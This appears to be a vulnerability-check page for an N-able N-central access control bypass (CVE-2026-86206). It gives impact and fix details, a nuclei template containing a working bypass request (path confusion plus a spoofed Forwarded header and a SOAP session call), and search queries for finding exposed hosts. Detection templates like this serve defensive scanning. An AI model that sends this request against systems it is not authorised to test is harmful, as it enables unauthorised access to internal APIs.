N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing

criticalseverity

9.8CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4

Impact

Unauthorised attackers can access internal APIs, potentially leading to data exposure or manipulation.

Fix

Update to version 2026.3 HF3 or 2026.4.

How to confirm it

Send: POST /dms;/services/ServerUI
Positive when: status_code == 200 and contains(body, 'SessionID') and contains(content_type, 'text/xml') OR status_code == 500 and contains(body, 'ServerDMS') and contains(content_type, 'text/xml')

Run it with nuclei: nuclei -id CVE-2026-86206 -u <target>

The full check

id: CVE-2026-86206

info:
  name: N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
  author: rapid7,DhiyaneshDk
  severity: critical
  description: |
    A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4
  impact: |
    Unauthorised attackers can access internal APIs, potentially leading to data exposure or manipulation.
  remediation: Update to version 2026.3 HF3 or 2026.4.
  reference:
    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/
    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis
    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-86206
    epss-score: 0.01118
    epss-percentile: 0.66389
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    vendor: n-able
    product: n-central
    shodan-query: title:"N-central"
    fofa-query: title="N-central"
  tags: cve,cve2026,n-able,n-central,auth-bypass,acl-bypass,soap,vkev

http:
  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:sessionHello>
              <ei:in0>3</ei:in0>
            </ei:sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'SessionID')"
          - "contains(content_type, 'text/xml')"
        condition: and

      - type: dsl
        dsl:
          - "status_code == 500"
          - "contains(body, 'ServerDMS')"
          - "contains(content_type, 'text/xml')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from